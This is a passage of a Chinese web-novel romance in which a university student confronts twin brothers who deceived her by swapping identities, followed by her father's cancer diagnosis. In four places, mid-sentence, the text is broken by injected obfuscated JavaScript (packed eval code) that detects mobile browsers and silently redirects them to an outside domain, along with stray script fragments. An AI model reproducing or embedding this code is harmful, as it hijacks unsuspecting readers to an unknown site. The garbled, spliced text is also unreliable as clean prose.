他吸了下鼻子,“怎么办啊,哥。” 他是真的被李再星的眼泪吓到了,也是真的不知所措,就像小时候闯了祸不知道该怎么办,下意识地去依赖哥哥。 季舒阳心情也沉重,“没别的办法,只能去道歉。” 季行月:“但她说不想再见到我。” 顿了下,补充:“我们。” 季舒阳沉默了几秒,“那就听她的,让她自己先静静。” 李再星这几天频繁地收到季行月的道歉消息,她一条都没有回复。 甚至直接把对方的消息提示改成免打扰模式,没拉黑是她最大的宽容。 李再星不知道季舒阳知不知道这件事,他没有任何动静,直到这件事之后的第三天下午,季舒阳才发来一条消息。 -你还好吗? 她好个屁! 不知为何,李再星对他更生气,或许是他迟这么久才发消息,又或许是他发来这云淡风轻的一句问候。 李再星本想也无视他,但想来想去实在气不过,拿起手机噼里啪啦地打字: -我!很不好! 对方几乎是秒回,不是消息,而是电话。 看到来电人,李再星没接电话,第二通又打进来,她索性直接挂断。 季舒阳的电话没再打进来,李再星气得在床上滚来滚去狂踢腿。 可恶!可恶! 他就不能坚持再打一通吗! 季行月到底没有勇气去给李再星打电话,在微信上向她认错道歉了几天,都石沉大海,他整个人变成了蔫掉的白菜。 白菜蔫蔫地走出房间,去茶吧台倒水。 客厅里,休年假的父母正依偎着坐在沙发上看电视,琴瑟和鸣的模样,看得季行月又悲从中来。 “道歉有用,还要警察干嘛!” 电视剧里的女演员冲扮演她男友的男演员喊道。 犯错的男友扑通一声跪下,“你不原谅我,我就不起来!” 啧,真是耍流氓一样的道歉方式。 季行月嗤之以鼻,仰头一杯水灌进肚子里。 “爸,你对妈跪过吗?” 一个转眼,季行月坐到了自家老爸旁边,幽幽提问。 “哎你吓死我了!”季良鹏被他无声无息出现在身旁吓了一跳,给胸口顺了顺气,“怎么可能下跪,男儿膝下有黄金,况且我也没做什么需要下跪的事。” 旁边的秋丽轻嗤了声,拆他的台:“怎么没跪过?” 季良鹏找补:“除了求婚那次。” 秋丽:“那我要跟你分手那次呢?” “……” 不断被拆台的季良鹏朝她使眼色,小声道:“在孩子面前给我点面子。” 秋丽偏不要:“对我下跪是什么很丢脸的事吗?你那次让我那么生气,不跟你老死不相往来都是轻的了。” 旧事重提,秋丽数落起丈夫的当年。 季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541915|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行月无心听他们的往事,鬼一样无声无息飘走。 秋丽早发现他这两天的不对劲,看着他没精打采的背影,小声说:“交女朋友了。” 季良鹏:“我看是被甩了。” 没交女朋友但确实被甩的季行月回到房间,看了眼全是绿文字框的微信聊天页面,长长地叹了口气。 他这辈子没对人跪过,怎么可能去下跪。 不原谅就不起来,根本不是道歉,是道德绑架。 他怎么可能做这种事。 “对不起,李再星,我错了。” 季行月跪在李再星家门口,诚挚道歉。 李再星:“……” 她只是想拿个外卖,这是发生了什么? 时间倒回一分钟前。 李再星点完外卖没多久,听见门铃响,便去开门拿外卖。 原本还心想今天的外卖来得好快,一开门却见到了不想见到的人。 她还没来得及说什么,白衣服男生扑通一声跪下了。 双膝在地面发出好大的声响,他愣是没喊疼,只管仰着脑袋道歉。 李再星被他这阵仗吓了一跳,“你干嘛啊?赶紧起来。” “求求你原谅我吧。” 季行月到底没说出那句神似威胁的话,改为哀求。 转角电梯传来楼层到达的动静,一个穿着黄色工服的外卖小哥从拐角走出来。 李再星生怕被别人看见这场面,连忙要拉季行月起来,“你先起来说话!” 然而她根本就拉不动一个一米八的大高个男生,季行月没心思管其他,仰头望着她,眼眶已有变红的趋势,“你真的不愿意原谅我吗?” 李再星看了眼朝这边走来的外卖小哥,对方已经看到了这场面,表情从懵逼到耐人寻味。 李再星又看了眼还跪地不起的季行月,银牙一咬,退至门后,砰地一声关上了门。 季行月和走过来的外卖小哥面面相觑。 外卖小哥例行公事敲了敲门:“你好,外卖到了。” 门没有被打开,只传来女生中气十足的声音:“放门口!” 外卖小哥向季行月投去怜悯目光:“兄弟,加油。” 外卖小哥一步三回头地走了,门仍然没有被打开的迹象。 季行月敲了敲门,“李再星,你不取外卖吗?” 李再星在门这边说:“我知道你还在跪着,但我不想就这样原谅你,你什么时候走,我什么时候吃饭。” 季行月低下头,眼眶发红,“对不起。” 李再星蹲在玄关等了一会儿,听到外面脚步声离去的动静,这才打开门。 季行月确实走了,李再星叹了口气,提起门口的外卖进屋,心情不太好地坐上餐桌。 她确实还在生气。 但比起生气,更不知道该怎么面对他们。 地铁里帮她的那个人,一起在草坪里看猫的那个人,陪她一起练琴的那个人,总是怜爱地看着她吃东西的那个人…… 让她动心的那个人,究竟是谁? 她搞不清楚了。 突然响起的门铃打断了李再星忧郁的思绪。 这个季行月,怎么又回来了! 李再星生气起身,走到玄关开门。 一打开门,门外的黑衣服男生,扑通一声跪下了。 李再星:“……” 25.第 25 章 “对不起。”季舒阳低着头认错,“我不该顶替季行月的身份去和你相处。” 李再星嘴角一抽,“你们俩是商量好的都来下跪吗?” 季舒阳坦言:“我们这几天都没怎么说过话。” 李再星怕再有人看见这场面,侧身说:“你先进来。” 季舒阳没坚持跪在门口,起身跟着她进屋。 一进屋,就又要跪下。 李再星连忙说:“不准跪!” 季舒阳弯曲的腿一顿,伸直站好,双手背在身后,低着头,一副受训的模样。 李再星叉腰站在他面前,比他矮了大半个头,身高不够,气势来凑。 她平时不容易生气,这次是真的气得狠了,一点而没因为他这逆来顺受的模样而消气,冷声道:“你想解释什么,说你们俩不是故意互换身份的吗?这种事情还有不是故意的不成?” “我起初确实不是故意。” “什么?” “你喝醉那晚,我说过我不是他。” “……” 李再星使劲回想了一下,好像……确实有这回事。 但她还是不解气,“你趁着我喝酒醉否认有什么用,之前几次你难道没有冒充季行月吗?” “不是冒充,”季舒阳声音很低,“我以为,你还记得我。” 李再星不明白他什么意思,又听他说:“我们高中时见过一次。” 李再星一愣,“我怎么不记得?” 季舒阳抬头看了她一眼,李再星莫名觉得他这眼神带着十足的委屈。 “高二的第一个学期,期中考试后,你来明礼,安慰考试失利的韩栀子。” 他把时间和地点都说得很详细,这么一说,李再星倒是想起来她偷偷混进明礼去找韩栀子的事,那时候确实有遇见一个男生,还安慰了他。 “你是当时捡我学生证那个?”李再星惊讶,“可那个男生是个戴眼镜的啊。” 季舒阳:“高中毕业后,我做了近视手术。” 这就说得通了。 李再星哦了声,“难怪我没认出你。” “可这和你假扮季行月和我相处又有什么关系?” 一提这事,李再星就生气。 “也是高二那时候,季行月帮我去智明,要了你的微信,”季舒阳顿了顿,“你当天晚上就删了我。” “你说他是那个黄毛男?” 李再星对这事倒是很有印象,她当时还跟韩栀子在电话里吐槽来着,有个潮男突然找上她,差点以为是被韩栀子拒绝后,来找茬的。 季舒阳又抬头看了她一眼。 他什么都没说,李再星却莫名懂了他眼神里的幽怨。 ——她这么清楚地记得季行月,却忘了他。 “我以为你讨厌我,所以不敢用自己的身份与你相处,”季舒阳声音低了很多,“在地铁里的那次,也是一样。” 李再星一愣。 地铁里遇见的人,原来是他。 不知道为什么,她并没有觉得很惊讶。 但她还是生气。 “你知道你们这么做,让我很混乱吗?” 尽管知晓了地铁里遇见的crush是他,但她还是不知道自己究竟对谁动了真心。 更让她生气的是,即使这么生气,却还是控制不住喜欢的心情。 真伤自尊。 “我真的很讨厌很讨厌撒谎。”李再星不自觉攥紧拳头,“你们一直在骗我。” “对不起。” 这件事,季舒阳无可辩驳,就连道歉也苍白。 “这个寒假,你们别再来找我,”李再星撇开脸,“我暂时不想看到你们。” 她把话说得很冷漠,季舒阳却骤然抬头,眼神亮了起来,“开学后,我能来找你吗?” 李再星失语几秒,他还真是会抓重点。 李再星抬起手,指向玄关:“出去。” “噢……” 季舒阳眼神一瞬黯淡,慢吞吞走向玄关,又在那里停驻,“除夕夜,我能给你发祝福吗?” “……出去!” 除夕夜,李再星收到了一条陌生号码发来的祝福短信。 李再星回了一句,问是谁。 对方:季舒阳。 季舒阳:这是我的新号码。 新季舒阳:你可以把我的旧号码拉黑,别理以前的我。 李再星:“……” 她是不是该称赞一句不愧是学编程的,除了会修bug还这么会钻bug。 倒是季行月,老老实实地在微信里给她发了祝福,又紧接着继续道歉。 李再星没回复,要不是季舒阳钻空子用了新号码,她也不会去回复他。 除夕夜之后,李再星每天都会收到两份外卖。 有时候是一束鲜花,有时候是一盒新品披萨,有时候是蛋糕,有时候是娃娃。 想也不想也知道是谁送的。 谁,们。 看这一天两次的频率,这两人估计又是没商量,纯心有灵犀。 多亏他们俩的投喂,这个寒假,李再星胖了五斤。 当然,是贬义。 新学期开学,李再星一到宿舍,就迎来室友的慰问。 “我的星,看来过年伙食不错啊。” 李再星绝望狼嚎:“啊啊啊都怪那两个混蛋——” 关柔和王佳佳面面相觑。 寒假发生了什么,怎么crush变成了混蛋? “发生什么事了?” 李再星把双胞胎的混蛋事迹转述给她们听。 关柔的反应和韩栀子一模一样,气得方言都出来了:“这两人搞么子咯!脑阔有病吧!” 王佳佳也很气愤,“狗男人不要也罢,姐带你去联谊,去认识好男人!” 李再星撇嘴:“算了吧,我再也不想相信男人了。” 王佳佳也没逼她,她怎么开心怎么来。 没过几分钟,李再星收到一条“陌生号码”发来的短信,祝她开学快乐。 开学快乐个屁! 李再星无语得想翻白眼。 她突然改主意了,“我要去联谊!” 开学后的这个周末,502宿舍的几个人,在王佳佳的带领下去参加联谊,说是联谊,其实就是同校的男生女生们一起在轰趴馆玩。 这里有卡拉OK房,桌游室棋牌室,也有游戏厅和看电影的房间,也有厨房,可以自己做饭。 李再星来这的动机大半是因为赌气,来了之后心不在焉,不管是打游戏还是看电影,都觉没意思,一向是麦霸的她在卡拉OK房都没心思去唱歌。 到了饭点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546481|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有人在厨房下厨,有人选择点外卖。 李再星开学后就在控制饮食,外卖点的炸鸡披萨奶茶这些高热量食品,能不吃就不吃。 她的“假吃”被坐在她旁边的一个男生注意到,“不喜欢吃这些吗?” “没有没有,”李再星连忙摆手,“我减肥。” 男生歪歪头,“你也不胖呀。” 李再星不好意思笑了笑。 男生也笑,自我介绍起来:“我叫简阳光,大三土木系。” “李再星,大二中文系,”李再星客气问候一声,“学长好。” “哈哈,不用这么客气,”简阳光笑得爽朗,当真人如其名,“听口音,你也是本地人吧。” 李再星惊喜,“你也是?” “对啊,我高中在智明读的,你……” “我也是!” 听到是高中校友,李再星不免激动了些,又意识到自己这样不太礼貌,不好意思笑,“抱歉抱歉,我只是没想到这么巧,在这里遇见校友。” “我也没想到能遇见校友,”简阳光说,“我给你点份蔬菜沙拉吧 ,作为学长的关照。” 李再星本想拒绝,无意间瞥见王佳佳和关柔朝这边看过来的八卦又火热的眼神,嘴角一抽,“谢谢学长,不过我有点想走了。” 她站起身。 “这么早?那我送你回学校吧。”简阳光也站起身。 这场聚会时常有男生跟女生组成一队离开,这意味着两人之间有戏。李再星感觉落在自己身上的目光似乎变多了,正想婉拒,又听他说:“我正好也想回学校。” 都这么说了,李再星也无法拒绝了。 离开轰趴馆,回学校的路上,李再星心不在焉地沉默,不知道那两个人现在在做什么。 如果他们知道自己来联谊了,会是什么反应。 不对,她为什么又开始想他们了? 正神游着,身旁男生忽然开口:“抱歉,我其实不是故意想缠着你。” 李再星有些懵。 简阳光挠了挠头,似乎在苦恼该怎么解释,“我是被室友拖过来的,里面有个女生好像喜欢我,但我不太想跟她发展……” 他还没说完,李再星打断:“所以我是做了你的挡箭牌?” 难怪刚刚总觉得落在身上的视线有点刺刺的。 李再星问:“你为什么不直接拒绝她?说清楚不就好了吗?” 简阳光:“人家只是表现出一点对我有意思,但没有真正告白,我直接拒绝不太好。” 原来是在照顾那个女生的自尊。 “对不起啊。”简阳光歉意道。 他这么诚实地坦白,李再星倒没不怎么介意,比那两个撒谎精好多了。 意识到自己又不自觉地想起那两个人,李再星撇了撇嘴。 为表歉意,简阳光带她去轻食店打包了一份轻食,又问她有没有其他想买的东西,李再星不好意思再要,摆了摆手。 到校门口时,李再星要跟他分别:“学长不用送了,我自己回宿舍。” 简阳光却说:“不行!” 李再星没想到他反应这么大,正疑惑,简阳光朝她靠近,压低声音道:“我发现有人在跟踪……” 话还没说完,被一声怒喝打断。 “你要对她做什么!” 26.第 26 章 不知从哪冒出来的男生,一把把简阳光从李再星身边推开,将李再星护在身后,瞪着简阳光,活脱脱一副小狗龇牙护主的模样。 李再星抓着他的手臂把他扳过来看了一眼,从眼角下的泪痣分辨出他的身份。 “季行月?你在这里做什么?” 护住的小狗一下泄了气:“我,我……” “他刚刚在跟踪我们!” 简阳光先一步告状。 “跟踪个屁啊,这路是你家开的?” 季行月没好气地凶他,又委屈看向李再星,“我只是刚好在路上看见你。” 李再星:“所以就跟了我们一路?” “不、不是!”季行月慌忙解释,“我就是看你跟一个不认识的男的在一起,担心你被骗。” “不认识的男的”开口:“我长得很像坏人吗?” 季行月又凶他:“你别插嘴!” 李再星头疼地捏了捏眉心,对简阳光道:“学长,你先走吧。” 简阳光有些担心:“但是他……” 李再星:“这人我认识,不是跟踪狂。” 说后三个字的时候,她故意看向季行月,还咬重了音。 后者委委屈屈撇嘴,低头。 如果他身后有尾巴,此刻一定也跟着垂下来。 见她这么说了,简阳光这才放心,转身要离开。 李再星忽然又有了主意,喊住他:“简阳光学长,我们加个微信吧!” 季行月倏地抬头,表情震惊。 简阳光看见他的神色,明白什么,笑了笑,“好啊。” 两人就在第三者愤愤不敢言的注视下,这么交换了微信。 直到简阳光离开,季行月这才委屈巴巴开口:“你为什么要他微信啊,我和季舒阳还不够吗?” “你和季舒阳够什么?”李再星故意阴阳怪气,“够把人气死吗?” 季行月瞬间歇菜。 李再星也不再说话,但季行月还跟着她,走在回宿舍的路上,一路无言。 快到宿舍楼下时,季行月忽然开口:“我其实没看上去那么受欢迎。” “我和季舒阳不一样,我没他聪明,没他优秀,所以爸妈和爷爷都更看好他,从小到大,他总是被褒奖,而我,要很努力地装成性格好的样子,才能被人喜欢。” 他越说声音越低,就像他这些年的遭遇般压抑,“我和你说过,我就像是他的影子,他越耀眼,我就越只能是影子。” “直到你出现,我第一次知道,他也有做不成的事。所以那次在学校被你喊住的时候,我顶替了他。” “我希望他躲在我身后,当一个胆小鬼,就像我永远被当成他的影子那样,这次也轮到他来当我的影子。” 他声音突然拔高,“但我没想到,我会喜欢上你!” 他说了很多,李再星一直沉默,开口时声音很涩:“所以,如果你没喜欢上我,就会一直这么瞒着我,耍我玩?” “没有如果。”季行月看着她,眼里不再是委屈,而是坚定,“我注定会喜欢上你。” 他目光灼灼,李再星没来由地慌乱。 她撇开脸。 “我能理解你,但我还是无法接受,”她垂了垂眼,“我现在也不知道了,我到底喜欢着谁。” “那就同时喜欢我们两个人吧!” 季行月毫不犹豫,甚至声音很大,引得路过的学生看过来。 李再星连忙让他闭嘴,“你小声点,还嫌上次下跪的时候我还不够丢脸吗?” 季行月哦了声,放小声音重复:“你可以同时喜欢我们两个,只要季舒阳不介意,我就也不介意。” 他太知道季舒阳的脾气,帮他应下,“季舒阳肯定不会介意。” 李再星很想翻白眼:“我介意!” 几乎是用轰的,赶走了季行月,李再星回了宿舍,室友们都还没回来,她一个人瘫在椅子上,望着天花板思考人生。 原来她第一次在地铁里遇见的是季舒阳,第二次在学校里遇见的是季行月,所以真的如季舒阳所说,一开始是她自己搞错了。 但错一定在他们两个故意隐瞒,她哪知道她的crush是双胞胎,还是长得这么像的双胞胎。 不过自从知道他们俩是双胞胎,两个人一前一后地来下跪过后,她好像有点能分清楚了。 和她一起练琴的,是季行月,和她一起上台唱歌的,是季舒阳。 所以那天晚上,季舒阳听到告白,才会哭。 “唉……” 李再星仰天长叹,她谈个恋爱,怎么就这么难! 叹气完没多久,手机响了两声。 李再星拿起来看了眼,是季舒阳发来的消息。 这家伙,执着于扮演“新季舒阳”的游戏,又是用新电话号码发来的消息。 季舒阳发来了一个网页链接,和一句话: -这是我这几天做的,希望能帮助你少一点混乱。 李再星点进去链接,加载出一个网页。 页面上两个正在原地踏步的像素小人,左边的穿着校服,戴着一副眼镜,拿着本书,右边的穿着运动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551544|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服,抱着颗篮球,左眼角下一颗泪痣。 两个小人下方都写着一行像素字:请点击我。 李再星拇指点了下左边的小人,一杯咖啡砸到他头上,小人头上多了一个白色的“叉”。 她再点一下,又掉下来一个电脑,小人被电脑压住,眼镜也掉了下来,露出左眼睛上的小痣。 李再星被可爱到,试着去点右边的小人,也是一开始被柠檬茶砸到,再被篮球砸倒。 随着她的点击,左右两个小人的变化,兄弟俩的差异一点点表现出来。 一直到最后,右边的小人戴上了黑色棒球帽,捧着奖杯;左边的小人换了金色头发,穿着时尚弹着吉他。 李再星被从头可爱到尾,嘴角也不自觉挂上笑容。 她退出网页,没想到点击返回时竟然还有变化。 是两个小人齐齐跪下,对屏幕外的她磕头,像素字写着对不起。 李再星笑出声来,怎么能这么好玩,让她都快生气不起来。 李再星终于愿意给季舒阳发消息:这是你做的? 对方秒回: -嗯 -有帮到你吗? 李再星不愿承认玩得很开心。 -一点点吧。 季舒阳:那就好。 发完这句,他就没有下文了。 李再星等了好一会儿,愣是一个字都没等到。 那就好,这就完了? 他不是来求原谅的吗?不多说几句? 不知为何,李再星又有点气了。 就这么生着闷气上了几天的课,周四晚上,简阳光突然联系上她,问她周六有没有兴趣去参加母校智明的校庆。 她和简阳光加上微信就没联系过,本来也是为了气季行月才加的,对方也心知肚明这一点。 李再星确实也很久没回过母校了,有点想念,但是单独和简阳光一起去,莫名有些良心难安。 不对,她在良心难安什么,那两人骗了她这么久,她就不能多晾他们一段时间吗? 这样的想法在脑子里转了一圈,李再星毅然决然给简阳光回了好。 简阳光周五晚上要回家一趟,所以他们索性约在了智明校门口会合。 周六上午,李再星只身前往智明中学。 在那里,她见到了简阳光。 却不只是简阳光,还有另外两个脸上挂彩的人。 从双胞胎五颜六色的脸上移开视线,她护犊子般满是敌意地看向简阳光。 后者连忙举起双手自证清白:“不是我打的。” 27.第 27 章 “你揍我一拳。” 季舒阳对季行月说。 季行月以为自己听错,“什么?” “揍我一拳,”季舒阳指着自己的脸,“对准这里。” “你疯了?现在可不是我们俩内讧的时候!李再星都要跟别人谈恋爱了!” 在路上偶遇李再星和男生在一起后,季行月根据李再星喊出来的男生名字和基本长相,活用自己庞大的人脉,终于打听到对方是土木系的大三学生,最危险的是,对方还和李再星是高中校友。 季行月可没忘记李再星当初知道自己和韩栀子是校友时有多激动,这完完全全就给了对方有乘之机。 所以他一打听完对方信息,就回家找上季舒阳,商量对策。 结果一直默不吭声的季舒阳,忽然要求自己打他一拳。 季行月以为他是受刺激太大,却见季舒阳叹了口气,一副王者带不动青铜的模样。 他正不满,还没来得及问他什么意思,对方一拳挥了上来。 季行月惨叫一声,拇指蹭了下被打的嘴角。 靠,都打出血了! “季舒阳你干什么啊!”季行月气得也想去揍他,看他像是神志不清还是先忍住。 却又听季舒阳说:“我们得做点什么,她才会愿意跟我们说话。” 季行月一愣。 季行月睁大眼睛。 季行月悟了。 季行月一拳挥上季舒阳嘴角。 “你说得对,来打架吧!” 时间回到现在。 看到兄弟二人脸上青青紫紫,李再星大脑短路,第一时间看向在场完好的第三人。 简阳光连忙摆手自证清白,“不是我打的。” 他实在冤枉。 前两天,他上完课,突然被这兄弟俩堵在教室门口。 也不知道对方是怎么清楚他课表的,这两兄弟开门见山,简述了对李再星的感情,又一个唱红脸一个唱白脸,请(逼)求(迫)他邀请李再星出门玩。 他举双手发誓,这两人两天前就一副这模样。 明明李再星像是正在对他们闹别扭,看见他们挂彩的第一时间,竟然是护犊子。 简阳光当真冤枉,又觉有趣。 李再星也意识到自己关心则乱了,简阳光不可能跟这两人动手——估计他也打不赢。 那么,就是季舒阳和季行月两个人闹矛盾,闹到动手打架了。 她得好好问清楚。 李再星看向简阳光,想跟他取消这次母校观光,“学长,我……” “简阳光!” 她话还没说完,被一个忽然插入的女声打断。 闻声看过去,只见一个留着鲻鱼头短发的女生朝这边招手,她身旁还站着一个书生气的帅气男生,脸上挂着温和的笑。 “学妹,我朋友来了,这边就交给你了。” 简阳光对李再星丢下这么一句,就朝那对男女跑过去。 李再星都来不及应好,不过见他和朋友说笑,也就作罢。 视线落回季舒阳和季行月身上,她板起脸,“你们不是兄弟吗,干嘛打架?” “是他先打我的!” 季行月率先甩锅,说的也是实话。 李再星看向季舒阳,季舒阳坦言:“他该打。” 理直气壮,说的也是实话。 李再星有些头疼,左右环顾看了圈,指着不远处的咖啡店,“我们去那聊。” 季行月连忙问:“不去逛逛你的母校吗?” 李再星给了他一个眼刀:“就你们俩这样子进去,我会被班主任拎着耳朵问话的!” 季舒阳倒是识眼色:“都听你的。” 三人来到咖啡店,李再星刻意找到里侧最角落的位置坐下,但点单时还是接受到店员的注目礼。 她尽量无视,给自己点了杯拿铁,给季舒阳点了杯美式,给季行月点了杯柠檬茶。 点单完,她看向二人,语气不善:“说吧,你们俩为什么打架?” 季行月支支吾吾,不能再说谎,也绝不能说实话,这该怎么开口呢? 他眼珠子瞥向旁边的季舒阳。 季舒阳一脸坦然:“因为你。” “我?” 李再星指向自己,不知道自己怎么被牵扯进他们两兄弟的争执中,但想到近来的种种,心里有了猜测。 不会是因为之前对她撒谎的事吧? 十有八|九。 李再星莫名别扭地咳了声:“不管你们俩怎么打架,我都还没完全消气。” 季行月只听自己想听的,喜出望外:“那就是消气一大半了?” 李再星瞪了他一眼:“别瞎乐观,我还在生气呢!” 季行月弱弱缩回脖子,像被主人凶了一顿的小狗,委屈低眉,又小心翼翼抬眼。 李再星看向季舒阳,后者只是安静坐着,什么话都没说。 她没来由地冒出一股气,又不知道为什么。 最后,只得生涩地先开口:“你发给我的东西,我看完了。” 季舒阳这才有一点反应,抬眼看着她,嘴唇动了动,似乎想说什么,却还是没开口。 季行月问:“什么东西。” 李再星没理他,继续说:“但我现在还是很混乱,我不知道……” 她不敢再继续说下去。 她不知道,到底对谁动了真心。 还是两个都…… 李再星深吸一口气:“我们三个人做普通朋友吧。” 这话一出,坐在对面的两个男生都露出惊愕神情。 只不过一个拒绝更多,一个惊喜更多。 后者率先开口:“我会重新追求你。” 季行月飞快看了他一眼,也不甘落后:“我也是!” 这两说完,李再星明显感觉落在自己身上的目光变多了,也变得更火热。 她火烧屁股般起身:“随你们便。” 走了两步又原路返回,强调:“你们俩不准再打架,也不准同时出现!” 季行月不明白第二个要求,“为什么?” 李再星:“怕丢脸。” 季行月震惊:“我们俩这么拿不出手吗?” “对!” 给出一个极其感叹的肯定,李再星转身头也不回地离开。 转过身时,她看到季行月失落的神色,又瞥了眼季舒阳,忍不住翘起嘴角,低低喃了声。 “笨蛋。” 被她这么一警告,季行月和季舒阳真的没再同时找上她,两个人像商量好一样,错开时间出现。 季行月总是约她吃饭,三五不时地带她去新发现的美食店,不停投喂她。当她义正词严说自己要减肥,对方从善如流,改而约她去夜跑,去健身房。 季舒阳的课比季行月的多,找她的次数相对少些,也不像季行月那样话多,更多时候是安静地陪她上公共课,或是在图书馆看书。 “你最近话好少。” 又一次一起上公共课的时候,李再星没忍住,给他传了这张小纸条。 如果不是她之前听到他说要重新追她,她都不知道他在追她。 纸条传过去,她偷偷观察季舒阳的反应。 但对方神色如常,没一点波动。 纸条传过来。 他回复:因为不想再假装是季行月。 李再星惊讶:你以前话多,是因为季行月? 季舒阳:是因为你。 简单的四个字,不知为何让李再星脸颊升温。 她不自觉看向他,没想到他也在看自己。 触到对方的目光,她像被烫到般飞快收回视线。 他在笑。 是在笑什么? 李再星莫名地有些慌乱时,季舒阳又传了张纸条来。 她瞄了眼。 上面写着:你还在喜欢季行月吗? 李再星的心脏没来由地抽了一下,比起疼痛,更像是从万丈高空突然坠落,无法掌控地失重。 她无法掌控这个问题的答案。 于是只得牛头不对马嘴地回复:好好上课! 季舒阳听话地不再传纸条过来。 也没再看她。 另一个晚上,李再星刚洗完澡,正吹着头发,忽然收到季行月发来的消息。 一连发了四条,三条是猫肚皮的照片。 第四条是语气着急的问句:你快看看呼噜肚皮上长了什么,是不是痘痘?要不要掐掉? 李再星把三张照片看完,都是浓密的猫毛里,长着一颗粉色的小凸起。 她第一眼就认出这是什么,心里觉得好笑,正组织措辞回复,季行月的新消息又发过来。 -我想掐掉,被呼噜伸爪子抓了! -它不是不抓人的吗! 李再星差点笑出声,把刚编辑好的文字删掉,好笑地回复他: -如果有人掐你胸上的两点,你会不会揍他? 季行月似乎明白了她的提示,但还是不信:你是说那是乳|头?可呼噜是公猫啊? 他马上撤回了这条消息,应该是发完就自己懂了。 但李再星已经看完,趴在桌上肩膀一抖一抖。 季行月连发几条: -你是不是觉得我很蠢? -你是不是正在嘲笑我? -你快忘掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16556890|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 李再星乐此不彼回复了条含笑的语音:“我到八十岁都要记得这件事然后笑你!” 被嘲笑的人抓狂地打来电话。 李再星故意不接,让他更抓狂。 又一个电话打进来,李再星正想故意不接挂掉,却看见来电人是妈妈。 她接下电话:“喂?妈妈。” 李素雅问:“小星,你这周末有课吗?” “没有呀,”李再星笑得很甜,“李女士是想我了吗?想让我回家就提前准备好大餐哦。” 电话那边,李素雅犹豫了几秒,还是说了。 “你这周末能去看看你爸爸吗?” 李再星的笑容僵住,正生气要拒绝,又听她说: “他在住院,医生说是……肺癌晚期。” 像被尖锐的针扎破气球,她的怒气骤消,喉咙像被棉花哽住,以至于出声都艰难:“什么时候的事?” “说是年前几天查出来的,查出来后就在医院里住着,他一直在犹豫要不要跟你说。” 李素雅在电话里跟她说着李宏扬查出肺癌的始末,她大概也很震惊,说这些话的语气里没有因为当年事情对李宏扬的指责。 李再星在电话这边听着,直到李素雅也没再说话,母女俩都沉默了很久,她声音很轻地问:“他在哪家医院?” 从妈妈那得知了父亲治疗的医院,李再星挂断了电话。 周六下午,她买了些水果,前往那家医院。 “小星,你怎么来这了?” 李宏扬看到她时很震惊,很快就意识到是李素雅对她说了这件事,脸上有些埋怨,但没在她面前说什么。 李再星把果篮放在病床边的柜子上,在床边的凳子上坐下,不知第一句该说些什么。 倒是李宏扬,先开了口,问她:“学校的课多不多?” “不多。” “是不是吃得不好,好像瘦了点。” “没瘦,胖了。” 李宏扬笑:“我闺女胖不胖都漂亮。” 李再星仍然不知道说什么,看着比上次见面苍老消瘦很多的李宏扬,直觉嗓子梗得难受。 在病房里坐了一会儿,李再星起身要走,在她走到门口时,李宏扬喊住她,“小星!” 李再星回头。 靠着病床上形销骨立的男人,有些犹豫,小心翼翼地开口:“你能不能再喊我一声爸爸?” 李再星嘴唇动了动,想喊又十分抗拒喊,乍响的手机铃声,打断了她的犹豫。 “我以后再过来。” 丢下这话,李再星逃似地走出病房。 快步走出病房十几步远,她才接下电话:“季行月?” 季行月:“给你发了几条消息都没回,今天很忙吗?” 李再星没回答这个问题,只是问:“怎么了?” “一看你就没读我消息,”季行月半开玩笑地怨了一句,又说:“商业街那边新开了一家火锅店,想问你要不要跟我一起去吃。” 平时这种时候,她要么欣然应好,要么埋怨几句最近长胖要忌口,今天的反应却很淡,“我今天不太想去,下次吧。” 季行月还没来得及说什么,电话就被挂断。 “奇怪。”季行月坐在沙发上挠头,看着被挂断的电话,自言自语般呢喃,“心情不好吗?” 李再星心里说不出是什么感觉,最恨父亲的时候,她都没有想过让他去死,她对父亲背叛家庭的恨意还没消散,他却真的快死了。 好像老天在逼着她去原谅一个将死之人。 